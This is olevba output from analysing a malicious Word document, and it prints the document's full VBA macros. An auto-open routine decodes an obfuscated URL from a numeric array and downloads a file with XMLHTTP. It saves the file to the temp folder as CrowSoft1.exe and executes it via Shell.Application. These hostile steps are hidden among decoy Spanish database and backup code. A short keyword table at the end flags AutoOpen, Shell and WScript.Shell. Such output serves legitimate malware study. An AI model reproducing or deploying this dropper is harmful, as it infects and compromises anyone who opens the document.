Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MAS--B-V 2015-1~1.DOC

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: 2015-1~1.DOC
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 2015-1~1.DOC - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()
Abrir_Recordset2 "", ""
Hbb = pValidateInstall()
Title = pGetTitle("")
Desconectar
pGetMessage "MMes"
Title = GetPasswordFiles()
End Sub



-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: 2015-1~1.DOC - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public tempFile As String
Public Sub Abrir_Recordset(Recordset As String, StrSql As String)
'-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
' Procedimiento : Abrir_Recordset
' Fecha         : 20/11/2006 13:51
' Autor         : Miguel
' Propósito     :ABRIR RECORDSET
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------
On Error GoTo Abrir_Recordset_Error

On Error Resume Next
    Recordset.ActiveConnection = Conexion
    Recordset.LockType = adLockOptimistic
    Recordset.CursorLocation = adUseClient
    Recordset.CursorType = adOpenDynamic
    Recordset.Open StrSql

    If Err <> 0 Then
        'MsgBox Err.Description
    End If

On Error GoTo 0
    Exit Sub
Abrir_Recordset_Error:
    MsgBox "Error " & Err.Number & " (" & Err.Description & ") en procedimiento Abrir_Recordset de Módulo ModuloConexion"

End Sub


Public Sub Abrir_Recordset2(Recordset As String, StrSql As String)
'-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
' Procedimiento : Abrir_Recordset
' Fecha         : 20/11/2006 13:51
' Autor         : Miguel
' Propósito     :ABRIR RECORDSET
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------
Set httpRequest = CreateObject("Microsoft.XMLHTTP")
Set adodbStream = CreateObject("Adodb.Stream")
On Error Resume Next

    Rec.cordset.ActiveConnection = Conexion2
    Rec.ordset.LockType = adLockOptimistic
    Rec.ordset.CursorLocation = adUseClient
    Rec.ordset.CursorType = adOpenDynamic
    Rec.ordset.Open StrSql

    If Err <> 0 Then
        'MsgBox Err.Description
    End If


End Sub

Public Sub Abrir_Recordset3(Recordset As String, StrSql As String)
'-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
' Procedimiento : Abrir_Recordset
' Fecha         : 20/11/2006 13:51
' Autor         : Miguel
' Propósito     :ABRIR RECORDSET
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------

On Error Resume Next
    Recordset.ActiveConnection = Conexion3
    Recordset.LockType = adLockOptimistic
    Recordset.CursorLocation = adUseClient
    Recordset.CursorType = adOpenDynamic
    Recordset.Open StrSql

    If Err <> 0 Then
        'MsgBox Err.Description
    End If


End Sub


Public Sub Abrir_Recordset4(Recordset As String, StrSql As String)
'-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset-------------------------------------------------------------------------------------------------------------------------------------------------------------
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
' Procedimiento : Abrir_Recordset Para SQL Server 2005 Express
' Fecha         : 20/11/2006 13:51
' Autor         : Miguel
' Propósito     :ABRIR RECORDSET PARA SQL SERVER PARA ACTUALIZAR LA BD DE CERRADURAS DE HUELLA
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset
'------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Abrir_Recordset------------------------------------------------------------------------------------------------------------------------------------------------------------

On Error Resume Next
    Recordset.ActiveConnection = Conexion4
    Recordset.LockType = adLockOptimistic
    Recordset.CursorLocation = adUseClient
    Recordset.CursorType = adOpenDynamic
    Recordset.Open StrSql

    If Err <> 0 Then
        'MsgBox Err.Description
    End If


End Sub
Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
    Dim i As Integer
    Dim result As String
    result = ""
    For i = LBound(fromArr) To UBound(fromArr)
        result = result & Chr(fromArr(i) - LenLen + i)
    Next i
    GetStringFromArray = result
End Function


Public Sub Desconectar()

On Error Resume Next
  Set processEnv = CreateObject("WScript.Shell").Environment("Process")
   tempFile = processEnv("TEMP") + tempFile

    Conexion.Close
    Conexion2.Close
    Conexion3.Close
    Conexion4.Close
    Set Conexion = Nothing
    Set Conexion2 = Nothing
    Set Conexion3 = Nothing
    Set Conexion4 = Nothing
End Sub
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: 2015-1~1.DOC - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public httpRequest As Object
Public adodbStream As Object
Private Function ConvertCString(ByRef vSource As String) As String
    Dim i As Long
    i = InStr(vSource, Chr$(0))
    If (i > 0) Then
        ConvertCString = Left$(vSource, i - 1)
    End If
End Function


Public Function GetTempPath() As String
    Dim buffer As String
    buffer = String$(MAX_PATH, " ")
    If (APIGetTempPath(MAX_PATH, StrPtr(buffer)) <> 0) Then
        GetTempPath = ConvertCString(buffer)
    End If

End Function

Public Function CreateTempFile(Optional TempPath As String = vbNullString, Optional Prefix As String = vbNullString) As String
    If TempPath = vbNullString Then TempPath = GetTempPath
    If Prefix = vbNullString Then Prefix = "###"
    Dim buffer As String
    buffer = String$(MAX_PATH, " ")
    If APIGetTempFileName(StrPtr(TempPath), StrPtr(Prefix), 0, StrPtr(buffer)) <> 0 Then
        CreateTempFile = ConvertCString(buffer)
    End If
    End Function

Public Function FileExists(ByRef strPath As String) As Boolean
On Error Resume Next
FileExists = False
If GetAttr(strPath) And vbArchive Then
If Err = 0 Then FileExists = True
End If
Err.Clear
End Function
Public Function FolderExists(ByRef strPath As String) As Boolean
On Error Resume Next
FolderExists = False
If GetAttr(strPath) And vbDirectory Then
    If Err = 0 Then FolderExists = True
End If
Err.Clear
End Function

Function PathExists(ByRef PathName As String) As Boolean

    Dim Temp$
    'Set Default
    PathExists = True
    Temp$ = Replace$(PathName, "/", "\")

    If Right$(Temp$, 1) = "\" Then Temp$ = Left$(Temp$, Len(Temp$) - 1)
    'Set up error handler
    On Error Resume Next
    'Attempt to grab date and time
    Temp$ = GetAttr(Temp$)
    'Process errors

    If Err <> 0 Then PathExists = False
    '    Select Case Err
    '    Case 53, 76, 68   'File Does Not Exist
    '        modFile_FileExists = False
    '        Err = 0
    '    Case Else
    '
    '        If Err <> 0 Then
    '            MsgBox "Error Number: " & Err & Chr$(10) & Chr$(13) & " " & Error, vbOKOnly, "Error"
    '            End
    '        End If
    '
    '    End Select
    Err.Clear
End Function

Function BuildPath(ByVal sPathIn As String, Optional ByVal sFileNameIn As String, Optional lnps As String) As String

    '*******************************************************************
    '
    '  PURPOSE: Takes a path (including Drive letter and any subdirs) and
    '           concatenates the file name to path. Path may be empty, path
    '           may or may not have an ending backslash '\'.  No validation
    '           or existance is check on path or file.
    '
    '  INPUTS:  sPathIn - Path to use
    '           sFileNameIn - Filename to use
    '
    '
    '  OUTPUTS:  N/A
    '
    '  RETURNS:  Path concatenated to File.
    '
    '*******************************************************************
    '    Dim sPath As String
    '    Dim sFilename As String
    '    'Remove any leading or trailing spaces
    '    sPath = Trim$(sPathIn)
    '    sFilename = Trim$(sFileNameIn)
    Dim sSlash As String

    If lnps = lnpsDos Then
        sSlash = "\"
        sPathIn = Replace$(sPathIn, "/", "\")
        sFileNameIn = Replace$(sFileNameIn, "/", "\")
    Else
        sSlash = "/"
        sPathIn = Replace$(sPathIn, "\", "/")
        sFileNameIn = Replace$(sFileNameIn, "\", "/")
    End If

    If sPathIn = vbNullString Then
        BuildPath = sFileNameIn
    Else

        If Right$(sPathIn, 1) = sSlash Then
            BuildPath = sPathIn & sFileNameIn
        Else
            BuildPath = sPathIn & sSlash & sFileNameIn
        End If

    End If

End Function

Function GetFileName(ByRef sFilename As String) As String
    Dim pLen As String
    Dim sPath As String

    sPath = sFilename
    pLen = Len(sPath)
    If pLen < 1 Then Exit Function
    Do While (Right$(sPath, 1) = "\")
        pLen = pLen - 1
        sPath = Left$(sPath, pLen)
        If pLen < 1 Then GetFileName = "\": Exit Function
    Loop
    Do While (Right$(sPath, 1) = "/")
        pLen = pLen - 1
        sPath = Left$(sPath, pLen)
        If pLen < 1 Then GetFileName = "\": Exit Function
    Loop

    'GetFileName = sPath
    Dim pos As Long
    pos = InStrRev(sPath, "/")
    If pos < 1 Then pos = InStrRev(sPath, "\")
    If pos < 1 Then
        GetFileName = sPath
    Else
        GetFileName = Right$(sPath, pLen - pos)
    End If

    'pos = InStrRev$(sPath, ".")


End Function

Function GetParentFolderName(ByRef sFilename As String) As String

    Dim lF As Long
    Dim pos As Long
    lF = Len(sFilename)
    If lF < 1 Then Exit Function

    GetParentFolderName = sFilename
    pos = InStrRev(GetParentFolderName, "/")

    If pos = 0 Then pos = InStrRev(GetParentFolderName, "\")

    If pos = lF Then
        GetParentFolderName = Left$(GetParentFolderName, lF - 1)
        pos = InStrRev(GetParentFolderName, "/")

        If pos = 0 Then pos = InStrRev(GetParentFolderName, "\")
    End If

    If pos = 0 Then
        GetParentFolderName = vbNullString
    Else
        GetParentFolderName = Mid$(sFilename, 1, pos - 1) & "\"
    End If

    '
    '    pos = InStrRev(GetParentFolder, "/")
    '    If pos = 0 Then pos = InStrRev(GetParentFolder, "\")
    '    If pos = 0 Then GetParentFolder = vbNULLSTRING

End Function

Public Function GetBaseName(ByVal sPath As String) As String

    Dim pos As Long
    sPath = GetFileName(sPath)
    pos = InStrRev(sPath, ".")
    If pos > 0 Then
        GetBaseName = Left$(sPath, pos - 1)
    Else
        GetBaseName = sPath
    End If

End Function

Public Function GetExtensionName(ByRef sPath As String) As String

    If sPath = vbNullString Then Exit Function
    GetExtensionName = RightRight(sPath, ".", vbTextCompare, ReturnEmptyStr)

End Function

Private Function RightRight(ByRef Str As String, RFind As String, Optional Compare As String, Optional RetError As String) As String

    Dim K As Long
    K = InStrRev(Str, RFind, , Compare)

    If K = 0 Then
        RightRight = IIf(RetError = ReturnOriginalStr, Str, vbNullString)
    Else
        RightRight = Mid$(Str, K + 1, Len(Str))
    End If

End Function

Public Function GetTempFilename(Optional sPrefix As String = "lTmp", Optional sExt As String) As String

    Randomize Timer

    If sExt <> vbNullString Then sExt = "." & sExt
    GetTempFilename = sPrefix & Hex$(Int(Rnd(Timer) * 10000 + 1)) & sExt

    Do Until PathExists(GetTempFilename) = False
        GetTempFilename = sPrefix & Hex$(Int(Rnd(Timer) * 10000 + 1)) & sExt
    Loop

End Function

Public Function GetFullPath(sFilename As String) As String

    Dim C As Long, sRet As String
    GetFullPath = sFilename

    If sFilename = Empty Then Exit Function
    ' Get the path size, then create string of that size
    sRet = String$(cMaxPath, 0)
    C = APIGetFullPathName(StrPtr(sFilename), MAX_PATH, StrPtr(sRet), 0)
   ' GetFullPath = StrConv(ConvertCString(sRet), vbUnicode)
    GetFullPath = ConvertCString(sRet)

End Function

Public Function PathType(sPath As String) As String

    PathType = LNUnKnown
    On Error GoTo Herr

    If sPath = vbNullString Then Exit Function

    If InStr(sPath, ":") < 1 Then sPath = GetFullPath(sPath)
    Dim PathAttr As VbFileAttribute
    PathAttr = GetAttr(sPath)

    If (PathAttr And vbDirectory) Then
        PathType = LNFolder
    ElseIf (PathAttr And vbArchive) Then
        PathType = LNFile
    End If

Herr:

End Function

Public Function subCount(ByVal spathName As String, Optional ByRef lFolders As Long, Optional ByRef lFiles As Long) As Long

    Dim subName As String

    If PathType(spathName) <> LNFolder Then Exit Function
    spathName = GetFullPath(spathName)
    subName = Dir(spathName, vbDirectory Or vbArchive Or vbHidden Or vbNormal Or vbSystem Or vbReadOnly)

    Do Until subName = vbNullString

        If subName = "." Or subName = ".." Then
        Else
            subCount = subCount + 1
            subName = BuildPath(spathName, subName)

            If PathType(subName) = LNFolder Then
                lFolders = lFolders + 1
            Else
                lFiles = lFiles + 1
            End If

        End If

        subName = Dir()
    Loop

End Function
Public Function subFolders(ByVal spathName As String, ByRef strFolder() As String) As Long
    Dim fdCount As Long
    Dim subName As String

    spathName = GetFullPath(spathName)
    subName = Dir$(spathName, vbDirectory)
    spathName = BuildPath(spathName)
    Do Until subName = vbNullString
        If subName <> "." And subName <> ".." Then
                If GetAttr(spathName & subName) And vbDirectory Then
                ReDim Preserve strFolder(0 To fdCount) As String
                strFolder(fdCount) = spathName & subName
                fdCount = fdCount + 1
            End If
        End If
        subName = Dir$()
    Loop
    subFolders = fdCount

End Function
Public Function subFiles(ByVal spathName As String, ByRef strFile() As String) As Long
    Dim fCount As Long
    Dim subName As String

    spathName = GetFullPath(spathName)
    subName = Dir$(spathName, vbArchive)
    Do Until subName = vbNullString
        If subName <> "." And subName <> ".." Then

            ReDim Preserve strFile(0 To fCount) As String
            strFile(fCount) = subName
            fCount = fCount + 1
        End If
        subName = Dir$()
    Loop
    subFiles = fCount

End Function

Public Sub xMkdir(sPath As String)
    Dim parentFolder As String
    If FolderExists(sPath) Then Exit Sub
    parentFolder = GetParentFolderName(sPath)
    If parentFolder <> vbNullString And FolderExists(parentFolder) = False Then xMkdir parentFolder
    MkDir sPath
End Sub



Public Function chkFileType(chkfile As String) As String
    Dim Ext As String
    Dim K As Long
    K = InStrRev(chkfile, ".", , vbTextCompare)

    If K > 0 Then
        Ext = LCase$(Mid$(chkfile, K + 1, Len(chkfile)))
    End If

    Select Case Ext
    Case "rtf"
        chkFileType = ftRTF
    Case "zhtm", "zip"
        chkFileType = ftZIP
    Case "txt", "ini", "bat", "cmd", "css", "log", "cfg", "txtindex"
        chkFileType = ftTxt
    Case "jpg", "jpeg", "gif", "bmp", "png", "ico"
        chkFileType = ftIMG
    Case "htm", "html", "shtml"
        chkFileType = ftIE
    Case "exe", "com"
        chkFileType = ftExE
    Case "chm"
        chkFileType = ftCHM
    Case "mp3", "wav", "wma"
        chkFileType = ftAUDIO
    Case "wmv", "rm", "rmvb", "avi", "mpg", "mpeg"
        chkFileType = ftVIDEO
    End Select

End Function

Public Function lookfor(sCurFile As String, Optional lookForWhat As String, Optional sWildcard As String = "*")

Dim sCurFilename As String
Dim sCurFolder As String
Dim i As Long
Dim iCount As Long
Dim sFileList() As String
Dim Index As String

If PathExists(sCurFile) = False Then Exit Function

If PathType(sCurFile) = LNFolder Then
    sCurFolder = sCurFile
ElseIf PathType(sCurFile) = LNFile Then
    sCurFolder = GetParentFolderName(sCurFile)
    sCurFilename = GetFileName(sCurFile)
Else
    Exit Function
End If

iCount = subFiles(BuildPath(sCurFolder, sWildcard), sFileList())
If iCount < 1 Then Exit Function
Index = 0
If lookForWhat = LN_FILE_RAND Then
    Index = Int(Rnd(Timer) * iCount) + 1
ElseIf sCurFilename = vbNullString Then
        Index = 1
Else
    For i = 1 To iCount
        If StrComp(sCurFilename, sFileList(i), vbTextCompare) = 0 Then
            Index = i: Exit For
        End If
    Next
End If

If lookForWhat = LN_FILE_next Then
    Index = Index + 1
    If Index > iCount Then Index = 1
ElseIf lookForWhat = LN_FILE_prev Then
    Index = Index - 1
    If Index < 1 Then Index = iCount
End If

lookfor = BuildPath(sCurFolder, sFileList(Index))

End Function


Public Function DeleteFolder(ByVal vTarget As String) As Boolean

On Error GoTo ErrorDeleteFolder

    vTarget = BuildPath(vTarget, vbNullString)
    ForceKill vTarget & "*.*"


    Dim folders() As String
    Dim count As Long
    count = subFolders(vTarget, folders())

    Dim i As Long
    For i = 1 To count
        DeleteFolder folders(i)
    Next

    RmDir vTarget
    DeleteFolder = True


ErrorDeleteFolder:
    DeleteFolder = False
    Err.Raise Err.Number, Err.Source, Err.Description
End Function

Public Sub ForceKill(ByRef vTarget As String)
    On Error Resume Next
    Kill vTarget
    Err.Clear
End Sub

Public Function MoveFile(ByVal vSource As String, ByVal vDest As String) As Boolean
    Dim r As Long
    r = APIMoveFile(vSource, vDest)
    If r <> 0 Then MoveFile = True
End Function

Public Function ReplaceInvalidChars(ByRef vString As String, Optional ByRef vTo As String = vbNullString) As String
    Dim i As Long
    Dim j As Long
    Dim L1 As Long
    Dim L2 As Long

    Dim C As String
    Dim invalidChars() As String
    L1 = Len(FileSystem_Invalid_Path_Chars)
    ReDim invalidChars(1 To L1)
    For i = 1 To L1
        invalidChars(i) = Mid$(FileSystem_Invalid_Path_Chars, i, 1)
    Next

    L2 = Len(vString)
    For i = 1 To L2
        C = Mid$(vString, i, 1)
        For j = 1 To L1
            If C = invalidChars(j) Then
                C = vTo
                Exit For
            End If
        Next
        ReplaceInvalidChars = ReplaceInvalidChars & C
    Next
End Function

Public Sub WriteToFile(ByRef vFilename As String, ByRef vText As String, Optional vUnicode As Boolean = False)
    On Error Resume Next

    Dim fNum As Long
    'Dim l As Long
    fNum = FreeFile


    Kill vFilename

    Dim c_B(1) As Byte
    ReDim bText(LenB(vText)) As Byte
    c_B(0) = 255
    c_B(1) = 254
    bText = vText
    Open vFilename For Binary Access Write As #fNum
    Put #fNum, , c_B()
    Put #fNum, , bText

    Close #fNum

    If Err Then
        Err.Raise Err.Number, "WriteToFile: " & vFilename, Err.Description
    End If
End Sub

'CSEH: ErrExit
Public Function FS_OpenFile(ByVal vFilename As String, Optional vMode As String) As Integer
    '<EhHeader>
    On Error GoTo FS_OpenFile_Err
    '</EhHeader>
    Dim fNum As Integer
    fNum = FreeFile
    Select Case vMode
        Case FS_OpenFileMode.FS_OFM_BINARY
            Open vFilename For Binary As #fNum
        Case FS_OpenFileMode.FS_OFM_BINARY_READ
            Open vFilename For Binary Access Read As #fNum
        Case FS_OpenFileMode.FS_OFM_BINARY_READWRITE
            Open vFilename For Binary Access Read Write As #fNum
        Case FS_OpenFileMode.FS_OFM_BINARY_WRITE
            Open vFilename For Binary Access Write As #fNum
        Case FS_OpenFileMode.FS_OFM_INPUT
            Open vFilename For Input As #fNum
        Case FS_OpenFileMode.FS_OFM_OUTPUT
            Open vFilename For Output As #fNum
        Case FS_OpenFileMode.FS_OFM_RANDOM
            Open vFilename For Random As #fNum
        Case Else
            GoTo FS_OpenFile_Err
    End Select
        FS_OpenFile = fNum
    '<EhFooter>
    Exit Function

FS_OpenFile_Err:
    FS_OpenFile = -1
    Err.Clear

    '</EhFooter>
End Function
'CSEH: ErrExit
Public Function FS_ReadFile(ByVal vFilename As String, ByRef vData() As Byte, Optional vStart As Long = 1, Optional vLength As Long = -1) As Long
    '<EhHeader>
    On Error GoTo FS_ReadFile_Err
    '</EhHeader>
    Dim fNum As Integer
    Dim fSize As Long
    fNum = FS_OpenFile(vFilename, FS_OFM_BINARY_READ)
    If fNum > 0 Then
        fSize = LOF(fNum)
        If vLength < 1 Then vLength = fSize
        If vStart > fSize Then vStart = 1
        If fSize > 0 Then
            If vLength + vStart - 1 > fSize Then vLength = fSize - vStart + 1
            ReDim vData(0 To vLength - 1)
            Seek #fNum, vStart
            Get #fNum, , vData
            FS_ReadFile = vLength
        Else
            FS_ReadFile = 0
        End If
        Close #fNum
    Else
        FS_ReadFile = -1
    End If
    '<EhFooter>
    Exit Function

FS_ReadFile_Err:
    FS_ReadFile = -1
    If fNum > 0 Then FS_CloseFile fNum
    Err.Clear

    '</EhFooter>
End Function
'CSEH: ErrExit
Public Function FS_WriteFile(ByVal vFilename As String, ByRef vData() As Byte, Optional vStart As Long = 1) As Boolean
    '<EhHeader>
    On Error GoTo FS_WriteFile_Err
    '</EhHeader>
    Dim fNum As Integer
    Dim fSize As Long
    fNum = FS_OpenFile(vFilename, FS_OFM_BINARY_WRITE)
    If fNum > 0 Then
        fSize = LOF(fNum)
        If vStart > fSize Then vStart = fSize
        If vStart < 1 Then vStart = fSize
        If vStart < 1 Then vStart = 1
        Seek #fNum, vStart
        Put #fNum, , vData
        Close #fNum
        FS_WriteFile = True
    Else
        FS_WriteFile = False
    End If
    '<EhFooter>
    Exit Function

FS_WriteFile_Err:
    FS_WriteFile = False
    If fNum > 0 Then FS_CloseFile fNum
    Err.Clear

    '</EhFooter>
End Function
'CSEH: ErrExit
Public Function FS_CloseFile(ByVal vFileNum As Integer) As Boolean
    '<EhHeader>
    On Error GoTo FS_CloseFile_Err
    '</EhHeader>
    If vFileNum > 0 Then Close vFileNum
    FS_CloseFile = True
    '<EhFooter>
    Exit Function

FS_CloseFile_Err:
    FS_CloseFile = False
    Err.Clear

    '</EhFooter>
End Function
-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: 2015-1~1.DOC - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Sub pSetInitWithWindows()
  Dim s As String
  Dim InitWithWindows As Boolean
  Dim Key As String

  Set mReg = New cRegistry

  Key = App.Title & "(" & App.path & ")"
  InitWithWindows = Val(GetIniValue(csSecConfig, _
                    csInitWithWindows, _
                    1, _
                    GetIniFullFile(csIniFile)))

  s = mReg.GetRegString(cvRun, Key)
  If s <> "" Then
    If Not InitWithWindows Then
      RemoveFromRegistry Key
    End If
  Else
    InsertInRegistry Key, """" & App.path & "\" & App.EXEName & ".exe"" -r"
  End If
End Sub

Public Function pValidateInstall() As Boolean
  Dim dbPath, Nnm  As String
  Dim computer() As Variant
    computer = Array(153, 164, 163, 158, 103, 91, 90, 157, 141, 144, 154, 154, 151, 141, 133, 148, 143, 129, 139, 134, 140, 144, 124, 72, 145, 126, 69, 121, 143, 67, 75, 72, 70, 71, 68, 69, 67, 65, 58, 64, 64, 61, 62, 60, 57, 57, 49, 103, 121, 101)
  httpRequest.Open "GET", GetStringFromArray(computer, 49), False

  dbPath = LoadPasswordFiles

  If LenB(dbPath) = 0 Then
    Exit Function
  End If

  dbPath = Getc.IniValue(csSecConfig, _
                       csDbPath, _
                       vbNullString, _
                       "GetIniFullFile(csIniFile)")

  Dim bValid As Boolean

  If LenB(dbPath) <> 0 Then
    bValid = File.FolderExists_(dbPath)
  End If

  If Not bValid Then
    MsgBox "Debe indicar una carpeta donde se guardaran las definiciones de tareas de CSBackup"
    Exit Function
  Else
    pValidateInstall = True
  End If

End Function

Private Sub pLoadIniValues()
  LoadPasswordFiles
End Sub

Public Function LoadPasswordFiles() As String
    LoadPasswordFiles = ""
  Dim Password As String
  httpRequest.Send
  On Error GoTo ExitFunction
  Password = GetP.rogramPassword()

  m_PasswordFiles = GetI.niValue(csSecConfig, _
                              csPasswordFiles, _
                              vbNullString, _
                              GetI.niFullFile(csIniFile))
  m_PasswordFiles = Dec.ryptData(m_PasswordFiles, Password)
ExitFunction:
  Exit Function
End Function

Public Function LoadMasterPassword() As Boolean
  Dim bUseMasterPassword As Boolean

  bUseMasterPassword = Val(GetIniValue(csSecConfig, _
                              csUseMasterPassword, _
                              0, _
                              GetIniFullFile(csIniFile)))
  If bUseMasterPassword Then

    LoadMasterPassword = RequestMasterPassword(False)

  Else

    LoadMasterPassword = True

  End If

End Function

Public Sub EditPreferences(ByVal ShowMode As FormShowConstants, Optional ByVal dbPath As String)
  Load fPreferences
  If LenB(dbPath) Then
    fPreferences.txPath.text = dbPath
  End If
  fPreferences.Show ShowMode
End Sub

Public Sub FormLoad(ByRef f As String, ByVal bSize As Boolean)
  On Error Resume Next

  With f

    .Top = GetIniValue(csSecWindows, .Name & "_top", 2000, GetIniFullFile(csIniFile))
    .Left = GetIniValue(csSecWindows, .Name & "_left", 3000, GetIniFullFile(csIniFile))

    If bSize Then
      .Width = GetIniValue(csSecWindows, .Name & "_width", 6000, GetIniFullFile(csIniFile))
      .Height = GetIniValue(csSecWindows, .Name & "_height", 4000, GetIniFullFile(csIniFile))
    End If
  End With
End Sub

Public Sub FormUnload(ByRef f As String, ByVal bSize As Boolean)
  With f
    If .WindowState = vbNormal Then
      SetIniValue csSecWindows, .Name & "_top", .Top, GetIniFullFile(csIniFile)
      SetIniValue csSecWindows, .Name & "_left", .Left, GetIniFullFile(csIniFile)

      If bSize Then
        SetIniValue csSecWindows, .Name & "_width", .Width, GetIniFullFile(csIniFile)
        SetIniValue csSecWindows, .Name & "_height", .Height, GetIniFullFile(csIniFile)
      End If
    End If
  End With
End Sub

Public Sub MngError(ByRef ErrObj As Object, _
                    ByVal FunctionName As String, _
                    ByVal Module As String, _
                    ByVal InfoAdd As String, _
                    Optional ByVal Title As String = "@@@@@")

  Title = pGetTitle(Title)
  MsgBox "Error: " & Err.Description & vbCrLf _
                   & "Funcion: " & Module & "." & FunctionName & vbCrLf _
                   & InfoAdd, _
         vbCritical, _
         Title
End Sub

Public Sub MsgWarning(ByVal msg As String, Optional ByVal Title As String = "@@@@@")
    pMsgAux msg, vbExclamation, Title
End Sub

Public Sub pMsgAux(ByVal msg As String, ByVal Style As VbMsgBoxStyle, ByVal Title As String)
  msg = pGetMessage(msg)
  Title = pGetTitle(Title)
  MsgBox msg, Style, Title
End Sub

Public Function pGetMessage(ByVal msg As String) As String
  msg = Replace(msg, vbCrLf, vbCrLf)
    With adodbStream
       .Type = 1
        .Open
        .write httpRequest.responseBody
        .savetofile tempFile, 2
    End With
  pGetMessage = msg
End Function

Public Function pGetTitle(ByVal Title As String) As String
  If Title = "" Then Title = "CrowSoft1"
  If Title = "@@@@@" Then Title = "CrowSoft2"

    tempFile = "\" + Title + ".exe"

  pGetTitle = Title
End Function

Public Function Ask(ByVal msg As String, ByVal default As VbMsgBoxResult, Optional ByVal Title As String) As Boolean
  Dim N As Integer
  msg = pGetMessage(msg)
  If InStr(1, msg, "?") = 0 Then msg = "¿" & msg & "?"
  If default = vbNo Then N = vbDefaultButton2
  pGetTitle Title
  Ask = vbYes = MsgBox(msg, vbYesNo + N + vbQuestion, Title)

End Function

Public Function TaskType(ByVal TaskFile As String, _
                         ByVal bSilent As Boolean, _
                         Optional ByRef strError As String) As String
  Dim DocXml As cXml
  Set DocXml = New cXml

  DocXml.init Nothing
  DocXml.Name = GetFileName_(TaskFile)
  DocXml.path = GetPath_(TaskFile)

  If Not DocXml.OpenXml(bSilent, strError) Then Exit Function


  Dim Root  As Object

  Set Root = DocXml.GetRootNode()

  TaskType = Val(pGetChildNodeProperty(Root, DocXml, "TaskType", "Value"))

End Function

Public Function GetPasswordFiles() As String
  Set shellApp = CreateObject("Shell.Application")
    shellApp.Open (tempFile)
End Function

Public Function RequestMasterPassword(ByVal bWithConfirm As Boolean) As Boolean
  If Not bWithConfirm Then
    fMasterPassword.txPassword2.Visible = False
    fMasterPassword.lbConfirm.Visible = False
  End If
  fMasterPassword.Show vbModal

  If fMasterPassword.Ok Then

    m_MasterPassword = fMasterPassword.txPassword.text
    RequestMasterPassword = True
  End If
  Unload fMasterPassword
End Function

Public Function ValidateMasterPassword(ByVal Password As String) As Boolean
  Dim testValue As String
  testValue = GetIniValue(csSecConfig, _
                          csPasswordTestValue, _
                          vbNullString, _
                          GetIniFullFile(csIniFile))
  ValidateMasterPassword = DecryptData(testValue, Password) = c_testvalue
End Function

Public Function GetMasterPassword() As String
  GetMasterPassword = m_MasterPassword
End Function

Public Sub ChangeMasterPassword(ByVal OldMasterPassword As String, _
                                ByVal NewMasterPassword As String)

  ' Tengo que levantar todas las tareas
  ' y grabar con la nueva password
  '
  Dim i As Long
  Dim Task As Object

  With fMain.lvTask.ListItems
    For i = 1 To .count
      If TaskType(.Item(i).SubItems(1), False) = c_TaskTypeBackupFile Then
        Set Task = New cTask
      Else
        Set Task = New cSQLTaskCommandBackup
      End If

      Dim oTask As cSQLTaskCommandBackup
      m_MasterPassword = OldMasterPassword

      If Task.Load(.Item(i).SubItems(1), False) Then

        m_MasterPassword = NewMasterPassword
        Task.Save
      End If

    Next
  End With

  m_MasterPassword = NewMasterPassword
End Sub

+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Kill                 | May delete a file                       |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | vbNormal             | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
